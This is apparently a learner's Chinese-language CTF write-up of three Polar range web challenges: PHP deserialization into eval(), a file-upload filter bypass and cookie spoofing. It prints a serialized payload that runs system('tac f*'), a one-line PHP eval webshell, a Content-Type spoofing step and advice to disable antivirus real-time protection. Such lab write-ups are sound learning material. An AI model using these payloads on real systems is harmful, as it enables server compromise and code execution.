【WEB】Polar靶场 Day7 详细笔记
目录
二十一.php very nice
2. unserialize():
反序列化漏洞
__destruct() 函数
eval()函数
代码注入漏洞
tac 命令
二十二.ezupload
二十一.php very nice
php又是你 ,但是经过这么多次折磨后我感觉我已经有一点抗性了
老规矩,先看知识点
PHP 序列化
是将 PHP 变量(如对象、数组)转换为字符串的过程,便于存储或传输。反序列化则是将字符串还原为原始变量。这在缓存、会话管理、RPC(远程过程调用)等场景中广泛应用。
PHP 序列化的核心函数
1.
serialize():
将变量转换为可存储或传输的字符串格式。
2.
unserialize():
将序列化字符串还原为原始变量。
可能存在的漏洞:反序列化漏洞
__destruct()
函数是 PHP 的一个魔术方法(特殊函数),当对象被销毁时会自动调用。具体来说,这个方法在以下几种情况下会被触发:
- 脚本执行完毕时,所有对象都会被销毁。
- 使用
unset()
函数手动销毁对象。- 对象被赋值为其他值,原对象的引用被覆盖。
eval()函数
eval()
是 PHP 中的内置函数,能将字符串作为 PHP 代码执行。可能存在的漏洞:
代码注入漏洞
如果eval()的参数来自用户输入且未经严格过滤,攻击者可以注入任意PHP代码
解题思路:
因为有__destruct()函数所以可以将原$sys覆盖掉,给$sys赋一个新的值,利用eval()函数的注入漏洞输出flag
class Example
{public $sys = "system('tac f*');";
}
为什么这道题cat用不了,而是用tac?
可能原因:符号被过滤,某些服务器环境可能会禁用或监控常见的命令如
cat
,但较少限制tac
(因为tac
不如cat
常用)。
tac
命令是
cat
的反向命令,功能是 倒序输出文件内容(先显示最后一行)。
因为unserialize()函数会将GET参数a反序列化,所以提前将参数a的内容序列化
PHP 在线编辑器
<?php
class Example
{public $sys = "system('tac f*');";
}// 创建对象
$obj = new Example();// 序列化对象
$serialized = serialize($obj);// 输出序列化结果
echo $serialized;
?>
O:7:"Example":1:{s:3:"sys";s:17:"system('tac f*');";}
接着通过GET请求传递参数a,得到flag
flag{202cb962ac59075b964b07152d234b70}
二十二.ezupload
这题主要利用的是文件上传漏洞
写个一句话木马,写完后保存,把文件后缀改为php
<?php @eval($_POST['a']);?>
或者点击文件,选择另存为,文件名后缀改为.php,保存类型改为 所有文件
注意:这个文件可能会被当为病毒被自动删除,所以先要暂时把病毒防护关闭
把实时保护关了
把刚才的php文件上传,显示“抱歉,我们只允许上传 GIF 图片”
打开 Burpsuite,把Content-Type: application/octet-stream改成
Content-Type: image/gif 然后点击发送,就上传成功了
接下来连接蚁剑,上传的文件放在了/uploads目录
在/var/www/flag.php找到了flag
flag{ffffffffllllaaggg_!!!}
二十三.cookie欺骗
这题还是很简单的
Cookie 的核心功能:用于维持用户与网站的会话状态(如登录后保持身份)、记录用户行为(如购物车内容)、存储用户偏好(如语言设置)等。
因此只需要按照要求把cookie中user改成admin用户就行了
flag{10e35c76602b330149ef009e0b484d8f}
Day7
现在题目变难了,以经无法做到每天做5道题的笔记了,所以打算换种方式
感觉前面2篇笔记做的太繁琐了,是不是应该写简单点